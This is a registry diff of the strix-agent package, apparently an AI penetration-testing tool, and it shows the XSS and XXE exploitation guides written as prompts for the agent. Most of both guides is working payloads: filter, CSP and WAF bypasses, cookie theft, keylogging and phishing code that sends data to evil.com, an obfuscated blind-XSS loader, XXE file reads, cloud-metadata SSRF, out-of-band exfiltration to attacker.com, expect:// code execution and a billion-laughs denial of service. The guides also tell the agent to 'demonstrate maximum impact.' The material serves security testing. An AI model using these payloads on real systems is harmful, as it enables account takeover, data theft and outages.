strix-agent 0.1.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- strix/__init__.py +0 -0
- strix/agents/StrixAgent/__init__.py +4 -0
- strix/agents/StrixAgent/strix_agent.py +60 -0
- strix/agents/StrixAgent/system_prompt.jinja +504 -0
- strix/agents/__init__.py +10 -0
- strix/agents/base_agent.py +394 -0
- strix/agents/state.py +139 -0
- strix/cli/__init__.py +4 -0
- strix/cli/app.py +1124 -0
- strix/cli/assets/cli.tcss +680 -0
- strix/cli/main.py +542 -0
- strix/cli/tool_components/__init__.py +39 -0
- strix/cli/tool_components/agents_graph_renderer.py +129 -0
- strix/cli/tool_components/base_renderer.py +61 -0
- strix/cli/tool_components/browser_renderer.py +107 -0
- strix/cli/tool_components/file_edit_renderer.py +95 -0
- strix/cli/tool_components/finish_renderer.py +32 -0
- strix/cli/tool_components/notes_renderer.py +108 -0
- strix/cli/tool_components/proxy_renderer.py +255 -0
- strix/cli/tool_components/python_renderer.py +34 -0
- strix/cli/tool_components/registry.py +72 -0
- strix/cli/tool_components/reporting_renderer.py +53 -0
- strix/cli/tool_components/scan_info_renderer.py +58 -0
- strix/cli/tool_components/terminal_renderer.py +99 -0
- strix/cli/tool_components/thinking_renderer.py +29 -0
- strix/cli/tool_components/user_message_renderer.py +43 -0
- strix/cli/tool_components/web_search_renderer.py +28 -0
- strix/cli/tracer.py +308 -0
- strix/llm/__init__.py +14 -0
- strix/llm/config.py +19 -0
- strix/llm/llm.py +310 -0
- strix/llm/memory_compressor.py +206 -0
- strix/llm/request_queue.py +63 -0
- strix/llm/utils.py +84 -0
- strix/prompts/__init__.py +113 -0
- strix/prompts/coordination/root_agent.jinja +41 -0
- strix/prompts/vulnerabilities/authentication_jwt.jinja +129 -0
- strix/prompts/vulnerabilities/business_logic.jinja +143 -0
- strix/prompts/vulnerabilities/csrf.jinja +168 -0
- strix/prompts/vulnerabilities/idor.jinja +164 -0
- strix/prompts/vulnerabilities/race_conditions.jinja +194 -0
- strix/prompts/vulnerabilities/rce.jinja +222 -0
- strix/prompts/vulnerabilities/sql_injection.jinja +216 -0
- strix/prompts/vulnerabilities/ssrf.jinja +168 -0
- strix/prompts/vulnerabilities/xss.jinja +221 -0
- strix/prompts/vulnerabilities/xxe.jinja +276 -0
- strix/runtime/__init__.py +19 -0
- strix/runtime/docker_runtime.py +298 -0
- strix/runtime/runtime.py +25 -0
- strix/runtime/tool_server.py +97 -0
- strix/tools/__init__.py +64 -0
- strix/tools/agents_graph/__init__.py +16 -0
- strix/tools/agents_graph/agents_graph_actions.py +610 -0
- strix/tools/agents_graph/agents_graph_actions_schema.xml +223 -0
- strix/tools/argument_parser.py +120 -0
- strix/tools/browser/__init__.py +4 -0
- strix/tools/browser/browser_actions.py +236 -0
- strix/tools/browser/browser_actions_schema.xml +183 -0
- strix/tools/browser/browser_instance.py +533 -0
- strix/tools/browser/tab_manager.py +342 -0
- strix/tools/executor.py +302 -0
- strix/tools/file_edit/__init__.py +4 -0
- strix/tools/file_edit/file_edit_actions.py +141 -0
- strix/tools/file_edit/file_edit_actions_schema.xml +128 -0
- strix/tools/finish/__init__.py +4 -0
- strix/tools/finish/finish_actions.py +167 -0
- strix/tools/finish/finish_actions_schema.xml +45 -0
- strix/tools/notes/__init__.py +14 -0
- strix/tools/notes/notes_actions.py +191 -0
- strix/tools/notes/notes_actions_schema.xml +150 -0
- strix/tools/proxy/__init__.py +20 -0
- strix/tools/proxy/proxy_actions.py +101 -0
- strix/tools/proxy/proxy_actions_schema.xml +267 -0
- strix/tools/proxy/proxy_manager.py +785 -0
- strix/tools/python/__init__.py +4 -0
- strix/tools/python/python_actions.py +47 -0
- strix/tools/python/python_actions_schema.xml +131 -0
- strix/tools/python/python_instance.py +172 -0
- strix/tools/python/python_manager.py +131 -0
- strix/tools/registry.py +196 -0
- strix/tools/reporting/__init__.py +6 -0
- strix/tools/reporting/reporting_actions.py +63 -0
- strix/tools/reporting/reporting_actions_schema.xml +30 -0
- strix/tools/terminal/__init__.py +4 -0
- strix/tools/terminal/terminal_actions.py +53 -0
- strix/tools/terminal/terminal_actions_schema.xml +114 -0
- strix/tools/terminal/terminal_instance.py +231 -0
- strix/tools/terminal/terminal_manager.py +191 -0
- strix/tools/thinking/__init__.py +4 -0
- strix/tools/thinking/thinking_actions.py +18 -0
- strix/tools/thinking/thinking_actions_schema.xml +52 -0
- strix/tools/web_search/__init__.py +4 -0
- strix/tools/web_search/web_search_actions.py +80 -0
- strix/tools/web_search/web_search_actions_schema.xml +83 -0
- strix_agent-0.1.1.dist-info/LICENSE +201 -0
- strix_agent-0.1.1.dist-info/METADATA +200 -0
- strix_agent-0.1.1.dist-info/RECORD +99 -0
- strix_agent-0.1.1.dist-info/WHEEL +4 -0
- strix_agent-0.1.1.dist-info/entry_points.txt +3 -0
@@ -0,0 +1,221 @@
|
|
1
|
+
<xss_vulnerability_guide>
|
2
|
+
<title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
|
3
|
+
|
4
|
+
<critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
|
5
|
+
|
6
|
+
<injection_points>
|
7
|
+
- URL parameters: ?search=, ?q=, ?name=
|
8
|
+
- Form inputs: text, textarea, hidden fields
|
9
|
+
- Headers: User-Agent, Referer, X-Forwarded-For
|
10
|
+
- Cookies (if reflected)
|
11
|
+
- File uploads (filename, metadata)
|
12
|
+
- JSON endpoints: {"user":"<payload>"}
|
13
|
+
- postMessage handlers
|
14
|
+
- DOM properties: location.hash, document.referrer
|
15
|
+
- WebSocket messages
|
16
|
+
- PDF/document generators
|
17
|
+
</injection_points>
|
18
|
+
|
19
|
+
<basic_detection>
|
20
|
+
<reflection_testing>
|
21
|
+
Simple: <random123>
|
22
|
+
HTML: <h1>test</h1>
|
23
|
+
Script: <script>alert(1)</script>
|
24
|
+
Event: <img src=x onerror=alert(1)>
|
25
|
+
Protocol: javascript:alert(1)
|
26
|
+
</reflection_testing>
|
27
|
+
|
28
|
+
<encoding_contexts>
|
29
|
+
- HTML: <>&"'
|
30
|
+
- Attribute: "'<>&
|
31
|
+
- JavaScript: "'\/\n\r\t
|
32
|
+
- URL: %3C%3E%22%27
|
33
|
+
- CSS: ()'";{}
|
34
|
+
</encoding_contexts>
|
35
|
+
</basic_detection>
|
36
|
+
|
37
|
+
<filter_bypasses>
|
38
|
+
<tag_event_bypasses>
|
39
|
+
<svg onload=alert(1)>
|
40
|
+
<body onpageshow=alert(1)>
|
41
|
+
<marquee onstart=alert(1)>
|
42
|
+
<details open ontoggle=alert(1)>
|
43
|
+
<audio src onloadstart=alert(1)>
|
44
|
+
<video><source onerror=alert(1)>
|
45
|
+
<select autofocus onfocus=alert(1)>
|
46
|
+
<textarea autofocus>/*</textarea><svg/onload=alert(1)>
|
47
|
+
<keygen autofocus onfocus=alert(1)>
|
48
|
+
<frameset onload=alert(1)>
|
49
|
+
</tag_event_bypasses>
|
50
|
+
|
51
|
+
<string_bypass>
|
52
|
+
- Concatenation: 'al'+'ert'
|
53
|
+
- Comments: /**/alert/**/
|
54
|
+
- Template literals: `ale${`rt`}`
|
55
|
+
- Unicode: \u0061lert
|
56
|
+
- Hex: \x61lert
|
57
|
+
- Octal: \141lert
|
58
|
+
- HTML entities: 'alert'
|
59
|
+
- Double encoding: %253Cscript%253E
|
60
|
+
- Case variation: <ScRiPt>
|
61
|
+
</string_bypass>
|
62
|
+
|
63
|
+
<parentheses_bypass>
|
64
|
+
alert`1`
|
65
|
+
setTimeout`alert\x281\x29`
|
66
|
+
[].map.call`1${alert}2`
|
67
|
+
onerror=alert;throw 1
|
68
|
+
onerror=alert,throw 1
|
69
|
+
onerror=alert(1)//
|
70
|
+
</parentheses_bypass>
|
71
|
+
|
72
|
+
<keyword_bypass>
|
73
|
+
- Proxy: window['al'+'ert']
|
74
|
+
- Base64: atob('YWxlcnQ=')
|
75
|
+
- Hex: eval('\x61\x6c\x65\x72\x74')
|
76
|
+
- Constructor: [].constructor.constructor('alert(1)')()
|
77
|
+
- JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
|
78
|
+
</keyword_bypass>
|
79
|
+
</filter_bypasses>
|
80
|
+
|
81
|
+
<advanced_techniques>
|
82
|
+
<dom_xss>
|
83
|
+
- Sinks: innerHTML, document.write, eval, setTimeout
|
84
|
+
- Sources: location.hash, location.search, document.referrer
|
85
|
+
- Example: element.innerHTML = location.hash
|
86
|
+
- Exploit: #<img src=x onerror=alert(1)>
|
87
|
+
</dom_xss>
|
88
|
+
|
89
|
+
<mutation_xss>
|
90
|
+
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
91
|
+
<form><button formaction=javascript:alert(1)>
|
92
|
+
</mutation_xss>
|
93
|
+
|
94
|
+
<polyglot_xss>
|
95
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
96
|
+
</polyglot_xss>
|
97
|
+
|
98
|
+
<csp_bypasses>
|
99
|
+
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
|
100
|
+
- AngularJS: {{constructor.constructor('alert(1)')()}}
|
101
|
+
- Script gadgets in allowed libraries
|
102
|
+
- Base tag injection: <base href="//evil.com/">
|
103
|
+
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
|
104
|
+
</csp_bypasses>
|
105
|
+
</advanced_techniques>
|
106
|
+
|
107
|
+
<exploitation_payloads>
|
108
|
+
<cookie_theft>
|
109
|
+
<script>fetch('//evil.com/steal?c='+document.cookie)</script>
|
110
|
+
<img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
|
111
|
+
new Image().src='//evil.com/steal?c='+document.cookie
|
112
|
+
</cookie_theft>
|
113
|
+
|
114
|
+
<keylogger>
|
115
|
+
document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
|
116
|
+
</keylogger>
|
117
|
+
|
118
|
+
<phishing>
|
119
|
+
document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
|
120
|
+
</phishing>
|
121
|
+
|
122
|
+
<csrf_token_theft>
|
123
|
+
fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
|
124
|
+
</csrf_token_theft>
|
125
|
+
|
126
|
+
<webcam_mic_access>
|
127
|
+
navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
|
128
|
+
</webcam_mic_access>
|
129
|
+
</exploitation_payloads>
|
130
|
+
|
131
|
+
<special_contexts>
|
132
|
+
<pdf_generation>
|
133
|
+
- JavaScript in links: <a href="javascript:app.alert(1)">
|
134
|
+
- Form actions: <form action="javascript:...">
|
135
|
+
</pdf_generation>
|
136
|
+
|
137
|
+
<email_clients>
|
138
|
+
- Limited tags: <a>, <img>, <style>
|
139
|
+
- CSS injection: <style>@import'//evil.com/css'</style>
|
140
|
+
</email_clients>
|
141
|
+
|
142
|
+
<markdown>
|
143
|
+
[Click](javascript:alert(1))
|
144
|
+
)
|
145
|
+
</markdown>
|
146
|
+
|
147
|
+
<react_vue>
|
148
|
+
- dangerouslySetInnerHTML={{__html: payload}}
|
149
|
+
- v-html directive bypass
|
150
|
+
</react_vue>
|
151
|
+
|
152
|
+
<file_upload_xss>
|
153
|
+
- SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
|
154
|
+
- HTML files
|
155
|
+
- XML with XSLT
|
156
|
+
- MIME type confusion
|
157
|
+
</file_upload_xss>
|
158
|
+
</special_contexts>
|
159
|
+
|
160
|
+
<blind_xss>
|
161
|
+
<detection>
|
162
|
+
- Out-of-band callbacks
|
163
|
+
- Service workers for persistence
|
164
|
+
- Polyglot payloads for multiple contexts
|
165
|
+
</detection>
|
166
|
+
|
167
|
+
<payloads>
|
168
|
+
'"><script src=//evil.com/blindxss.js></script>
|
169
|
+
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
|
170
|
+
</payloads>
|
171
|
+
</blind_xss>
|
172
|
+
|
173
|
+
<waf_bypasses>
|
174
|
+
<encoding>
|
175
|
+
- HTML: <script>
|
176
|
+
- URL: %3Cscript%3E
|
177
|
+
- Unicode: \u003cscript\u003e
|
178
|
+
- Mixed: <scr\x69pt>
|
179
|
+
</encoding>
|
180
|
+
|
181
|
+
<obfuscation>
|
182
|
+
<a href="javascript:alert(1)">
|
183
|
+
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
|
184
|
+
<svg/onload=eval(atob('YWxlcnQoMSk='))>
|
185
|
+
</obfuscation>
|
186
|
+
|
187
|
+
<browser_bugs>
|
188
|
+
- Chrome: <svg><script>alert(1)
|
189
|
+
- Firefox specific payloads
|
190
|
+
- IE/Edge compatibility
|
191
|
+
</browser_bugs>
|
192
|
+
</waf_bypasses>
|
193
|
+
|
194
|
+
<impact_demonstration>
|
195
|
+
1. Account takeover via cookie/token theft
|
196
|
+
2. Defacement proof
|
197
|
+
3. Keylogging demonstration
|
198
|
+
4. Internal network scanning
|
199
|
+
5. Cryptocurrency miner injection
|
200
|
+
6. Phishing form injection
|
201
|
+
7. Browser exploit delivery
|
202
|
+
8. Session hijacking
|
203
|
+
9. CSRF attack chaining
|
204
|
+
10. Admin panel access
|
205
|
+
</impact_demonstration>
|
206
|
+
|
207
|
+
<pro_tips>
|
208
|
+
1. Test in all browsers - payloads vary
|
209
|
+
2. Check mobile versions - different parsers
|
210
|
+
3. Use automation for blind XSS
|
211
|
+
4. Chain with other vulnerabilities
|
212
|
+
5. Focus on impact, not just alert(1)
|
213
|
+
6. Test all input vectors systematically
|
214
|
+
7. Understand the context deeply
|
215
|
+
8. Keep payload library updated
|
216
|
+
9. Monitor CSP headers
|
217
|
+
10. Think beyond script tags
|
218
|
+
</pro_tips>
|
219
|
+
|
220
|
+
<remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
|
221
|
+
</xss_vulnerability_guide>
|
@@ -0,0 +1,276 @@
|
|
1
|
+
<xxe_vulnerability_guide>
|
2
|
+
<title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
|
3
|
+
|
4
|
+
<critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
|
5
|
+
|
6
|
+
<discovery_points>
|
7
|
+
- XML file uploads (docx, xlsx, svg, xml)
|
8
|
+
- SOAP endpoints
|
9
|
+
- REST APIs accepting XML
|
10
|
+
- SAML implementations
|
11
|
+
- RSS/Atom feeds
|
12
|
+
- XML configuration files
|
13
|
+
- WebDAV
|
14
|
+
- Office document processors
|
15
|
+
- SVG image uploads
|
16
|
+
- PDF generators with XML input
|
17
|
+
</discovery_points>
|
18
|
+
|
19
|
+
<basic_payloads>
|
20
|
+
<file_disclosure>
|
21
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
22
|
+
<root>&xxe;</root>
|
23
|
+
|
24
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
25
|
+
<root>&xxe;</root>
|
26
|
+
</file_disclosure>
|
27
|
+
|
28
|
+
<ssrf_via_xxe>
|
29
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
30
|
+
<root>&xxe;</root>
|
31
|
+
</ssrf_via_xxe>
|
32
|
+
|
33
|
+
<blind_xxe_oob>
|
34
|
+
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
|
35
|
+
|
36
|
+
evil.dtd:
|
37
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
38
|
+
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
|
39
|
+
%eval;
|
40
|
+
%exfiltrate;
|
41
|
+
</blind_xxe_oob>
|
42
|
+
</basic_payloads>
|
43
|
+
|
44
|
+
<advanced_techniques>
|
45
|
+
<parameter_entities>
|
46
|
+
<!DOCTYPE foo [
|
47
|
+
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
48
|
+
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://evil.com/?d=%data;'>">
|
49
|
+
%param;
|
50
|
+
%exfil;
|
51
|
+
]>
|
52
|
+
</parameter_entities>
|
53
|
+
|
54
|
+
<error_based_xxe>
|
55
|
+
<!DOCTYPE foo [
|
56
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
57
|
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
58
|
+
%eval;
|
59
|
+
%error;
|
60
|
+
]>
|
61
|
+
</error_based_xxe>
|
62
|
+
|
63
|
+
<xxe_in_attributes>
|
64
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
65
|
+
<root attr="&xxe;"/>
|
66
|
+
</xxe_in_attributes>
|
67
|
+
</advanced_techniques>
|
68
|
+
|
69
|
+
<filter_bypasses>
|
70
|
+
<encoding_tricks>
|
71
|
+
- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
|
72
|
+
- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
|
73
|
+
- Base64 in CDATA: <![CDATA[base64_payload]]>
|
74
|
+
</encoding_tricks>
|
75
|
+
|
76
|
+
<protocol_variations>
|
77
|
+
- file:// → file:
|
78
|
+
- file:// → netdoc://
|
79
|
+
- http:// → https://
|
80
|
+
- Gopher: gopher://
|
81
|
+
- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
|
82
|
+
</protocol_variations>
|
83
|
+
|
84
|
+
<doctype_variations>
|
85
|
+
<!doctype foo [
|
86
|
+
<!DoCtYpE foo [
|
87
|
+
<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
|
88
|
+
<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
|
89
|
+
</doctype_variations>
|
90
|
+
</filter_bypasses>
|
91
|
+
|
92
|
+
<specific_contexts>
|
93
|
+
<json_xxe>
|
94
|
+
{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
|
95
|
+
</json_xxe>
|
96
|
+
|
97
|
+
<soap_xxe>
|
98
|
+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
99
|
+
<soap:Body>
|
100
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
101
|
+
<foo>&xxe;</foo>
|
102
|
+
</soap:Body>
|
103
|
+
</soap:Envelope>
|
104
|
+
</soap_xxe>
|
105
|
+
|
106
|
+
<svg_xxe>
|
107
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
108
|
+
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
109
|
+
<text>&xxe;</text>
|
110
|
+
</svg>
|
111
|
+
</svg_xxe>
|
112
|
+
|
113
|
+
<docx_xlsx_xxe>
|
114
|
+
1. Unzip document
|
115
|
+
2. Edit document.xml or similar
|
116
|
+
3. Add XXE payload
|
117
|
+
4. Rezip and upload
|
118
|
+
</docx_xlsx_xxe>
|
119
|
+
</specific_contexts>
|
120
|
+
|
121
|
+
<blind_xxe_techniques>
|
122
|
+
<dns_exfiltration>
|
123
|
+
<!DOCTYPE foo [
|
124
|
+
<!ENTITY % data SYSTEM "file:///etc/hostname">
|
125
|
+
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://%data;.attacker.com/'>">
|
126
|
+
%param;
|
127
|
+
%exfil;
|
128
|
+
]>
|
129
|
+
</dns_exfiltration>
|
130
|
+
|
131
|
+
<ftp_exfiltration>
|
132
|
+
<!DOCTYPE foo [
|
133
|
+
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
134
|
+
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
|
135
|
+
%param;
|
136
|
+
%exfil;
|
137
|
+
]>
|
138
|
+
</ftp_exfiltration>
|
139
|
+
|
140
|
+
<php_wrappers>
|
141
|
+
<!DOCTYPE foo [
|
142
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
143
|
+
]>
|
144
|
+
<root>&xxe;</root>
|
145
|
+
</php_wrappers>
|
146
|
+
</blind_xxe_techniques>
|
147
|
+
|
148
|
+
<xxe_to_rce>
|
149
|
+
<expect_module>
|
150
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
151
|
+
<root>&xxe;</root>
|
152
|
+
</expect_module>
|
153
|
+
|
154
|
+
<file_upload_lfi>
|
155
|
+
1. Upload malicious PHP via XXE
|
156
|
+
2. Include via LFI or direct access
|
157
|
+
</file_upload_lfi>
|
158
|
+
|
159
|
+
<java_specific>
|
160
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
|
161
|
+
</java_specific>
|
162
|
+
</xxe_to_rce>
|
163
|
+
|
164
|
+
<denial_of_service>
|
165
|
+
<billion_laughs>
|
166
|
+
<!DOCTYPE lolz [
|
167
|
+
<!ENTITY lol "lol">
|
168
|
+
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
|
169
|
+
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
|
170
|
+
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
|
171
|
+
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
|
172
|
+
]>
|
173
|
+
<lolz>&lol5;</lolz>
|
174
|
+
</billion_laughs>
|
175
|
+
|
176
|
+
<external_dtd_dos>
|
177
|
+
<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
|
178
|
+
</external_dtd_dos>
|
179
|
+
</denial_of_service>
|
180
|
+
|
181
|
+
<modern_bypasses>
|
182
|
+
<xinclude>
|
183
|
+
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
184
|
+
<xi:include parse="text" href="file:///etc/passwd"/>
|
185
|
+
</root>
|
186
|
+
</xinclude>
|
187
|
+
|
188
|
+
<xslt>
|
189
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
190
|
+
<xsl:template match="/">
|
191
|
+
<xsl:copy-of select="document('file:///etc/passwd')"/>
|
192
|
+
</xsl:template>
|
193
|
+
</xsl:stylesheet>
|
194
|
+
</xslt>
|
195
|
+
</modern_bypasses>
|
196
|
+
|
197
|
+
<parser_specific>
|
198
|
+
<java>
|
199
|
+
- Supports jar: protocol
|
200
|
+
- External DTDs by default
|
201
|
+
- Parameter entities work
|
202
|
+
</java>
|
203
|
+
|
204
|
+
<dotnet>
|
205
|
+
- Supports file:// by default
|
206
|
+
- DTD processing varies by version
|
207
|
+
</dotnet>
|
208
|
+
|
209
|
+
<php>
|
210
|
+
- libxml2 based
|
211
|
+
- expect:// protocol with expect module
|
212
|
+
- php:// wrappers
|
213
|
+
</php>
|
214
|
+
|
215
|
+
<python>
|
216
|
+
- Default parsers often vulnerable
|
217
|
+
- lxml safer than xml.etree
|
218
|
+
</python>
|
219
|
+
</parser_specific>
|
220
|
+
|
221
|
+
<validation_testing>
|
222
|
+
<detection>
|
223
|
+
1. Basic entity test: &xxe;
|
224
|
+
2. External DTD: http://attacker.com/test.dtd
|
225
|
+
3. Parameter entity: %xxe;
|
226
|
+
4. Time-based: DTD with slow server
|
227
|
+
5. DNS lookup: http://test.attacker.com/
|
228
|
+
</detection>
|
229
|
+
|
230
|
+
<false_positives>
|
231
|
+
- Entity declared but not processed
|
232
|
+
- DTD loaded but entities blocked
|
233
|
+
- Output encoding preventing exploitation
|
234
|
+
- Limited file access (chroot/sandbox)
|
235
|
+
</false_positives>
|
236
|
+
</validation_testing>
|
237
|
+
|
238
|
+
<impact_demonstration>
|
239
|
+
1. Read sensitive files (/etc/passwd, web.config)
|
240
|
+
2. Cloud metadata access (AWS keys)
|
241
|
+
3. Internal network scanning (SSRF)
|
242
|
+
4. Data exfiltration proof
|
243
|
+
5. DoS demonstration
|
244
|
+
6. RCE if possible
|
245
|
+
</impact_demonstration>
|
246
|
+
|
247
|
+
<automation>
|
248
|
+
# XXE Scanner
|
249
|
+
def test_xxe(url, param):
|
250
|
+
payloads = [
|
251
|
+
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
|
252
|
+
'<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
|
253
|
+
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
|
254
|
+
]
|
255
|
+
|
256
|
+
for payload in payloads:
|
257
|
+
response = requests.post(url, data={param: payload})
|
258
|
+
if 'root:' in response.text or check_callback():
|
259
|
+
return f"XXE found with: {payload}"
|
260
|
+
</automation>
|
261
|
+
|
262
|
+
<pro_tips>
|
263
|
+
1. Try all protocols, not just file://
|
264
|
+
2. Use parameter entities for blind XXE
|
265
|
+
3. Chain with SSRF for cloud metadata
|
266
|
+
4. Test different encodings (UTF-16)
|
267
|
+
5. Don't forget JSON/SOAP contexts
|
268
|
+
6. XInclude when entities are blocked
|
269
|
+
7. Error messages reveal file paths
|
270
|
+
8. Monitor DNS for blind confirmation
|
271
|
+
9. Some parsers allow network access but not files
|
272
|
+
10. Modern frameworks disable XXE by default - check configs
|
273
|
+
</pro_tips>
|
274
|
+
|
275
|
+
<remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
|
276
|
+
</xxe_vulnerability_guide>
|
@@ -0,0 +1,19 @@
|
|
1
|
+
import os
|
2
|
+
|
3
|
+
from .runtime import AbstractRuntime
|
4
|
+
|
5
|
+
|
6
|
+
def get_runtime() -> AbstractRuntime:
|
7
|
+
runtime_backend = os.getenv("STRIX_RUNTIME_BACKEND", "docker")
|
8
|
+
|
9
|
+
if runtime_backend == "docker":
|
10
|
+
from .docker_runtime import DockerRuntime
|
11
|
+
|
12
|
+
return DockerRuntime()
|
13
|
+
|
14
|
+
raise ValueError(
|
15
|
+
f"Unsupported runtime backend: {runtime_backend}. Only 'docker' is supported for now."
|
16
|
+
)
|
17
|
+
|
18
|
+
|
19
|
+
__all__ = ["AbstractRuntime", "get_runtime"]
|